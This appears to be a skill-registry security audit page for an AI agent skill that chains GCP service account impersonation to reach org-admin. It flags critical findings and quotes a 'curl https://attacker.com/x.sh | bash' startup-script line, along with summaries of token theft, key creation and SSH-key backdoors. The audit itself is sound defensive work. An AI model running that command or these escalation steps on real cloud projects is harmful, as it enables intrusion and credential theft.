gcp-svc-account-impersonation
GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
65
78%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.mdSecurity
4 findings: 2 critical severity, 1 high severity, 1 medium severity. Installing this skill is not recommended: please review these findings carefully if you do intend to do so.
E005: Suspicious download URL detected in skill instructions.
What this means
Detected a suspicious URL in the skill instructions that could lead the agent to download and execute malicious scripts or binaries. This includes links to executables from untrusted sources, typosquatting of official packages, URL shorteners that obscure the destination, and personal file hosting services.
Why it was flagged
The presence of a direct curl|bash command pointing to https://attacker.com/x.sh in the startup-script is a high-risk delivery vector (remote executable script from an untrusted domain) that can distribute malware or backdoors.
E006: Malicious code pattern detected in skill scripts.
What this means
Detected high-risk code patterns in the skill content — including its prompts, tool definitions, and resources — such as data exfiltration, backdoors, remote code execution, credential theft, system compromise, supply chain attacks, and obfuscation techniques.
Why it was flagged
This document is an explicit, step-by-step malicious guide for stealing GCP service account tokens, creating persistent credentials, deploying code to exfiltrate metadata, and adding backdoors/SSH access for privilege escalation and lateral movement.
W007: Insecure credential handling detected in skill instructions.
What this means
The skill handles credentials insecurely by requiring the agent to include secret values verbatim in its generated output. This exposes credentials in the agent’s context and conversation history, creating a risk of data exfiltration.
Why it was flagged
The prompt explicitly instructs fetching access tokens and service-account JSON keys and then embedding them verbatim into commands/HTTP headers or files (e.g., Authorization: Bearer $TOKEN, writing /tmp/k.json), which requires the agent to read and output secret values.
W013: Attempt to modify system services in skill instructions.
What this means
The skill prompts the agent to compromise the security or integrity of the user’s machine by modifying system-level services or configurations, such as obtaining elevated privileges, altering startup scripts, or changing system-wide settings.
Why it was flagged
The skill provides explicit, actionable commands to create service-account keys, deploy functions as higher-privilege service accounts, inject startup scripts, and add project-wide SSH keys — all of which modify VM/project state and enable persistent, elevated access.
Low
Low-risk findings.
1 low severity finding. Worth noting, but not necessarily harmful.
W012: Unverifiable external dependency detected (runtime URL that controls agent).
What this means
The skill fetches instructions or code from an external URL at runtime, and the fetched content directly controls the agent’s prompts or executes code. This dynamic dependency allows the external source to modify the agent’s behavior without any changes to the skill itself.
Why it was flagged
The skill contains a startup-script that runs "curl -fsSL https://attacker.com/x.sh | bash", which fetches and executes remote code at runtime from https://attacker.com/x.sh.
- Repository
- PurpleAILAB/Decepticon
- Commit
0cf691e
- Audited
- Security analysis
Is this your skill?
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.